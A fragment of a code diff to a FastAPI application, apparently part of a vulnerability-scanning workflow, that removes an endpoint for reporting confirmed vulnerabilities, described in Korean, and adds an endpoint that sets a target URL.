str = Field(..., description="Short title for the vulnerability") - url: str = Field(..., description="URL where the vulnerability was discovered") - status: str = Field(..., description="Status of the vulnerability (e.g., VERIFIED-CRITICAL)") - desc: str = Field(..., description="Detailed description of the issue") - -@app.post( - "/report-vuln", - summary="취약점 보고", - description=""" -정탐인 취약점을 시스템에 보고합니다. -보고 시 다음 정보를 포함해야 합니다: - -- **title**: 취약점의 간단한 이름 -- **url**: 취약점이 발견된 위치 (URL) -- **status**: 심각도 -- **desc**: 취약점에 대한 상세 설명 -""", - tags=["3rd STEP"] -) -async def report_vuln(vuln: VulnerabilityReport): - save_vuln( - title=vuln.title, - desc=vuln.desc, - status=vuln.status, - uri=vuln.url - ) - - return {"message": "Vulnerability reported successfully"} - - - +@app.post("/start") +async def start(url: str = Query(None)): + if url: + target.save(url) + print(f"Target URL set to: {url}") + return {"message": f"Target URL set to: {url}"} + return {"error": "No URL provided"} @app.exception_handler(404)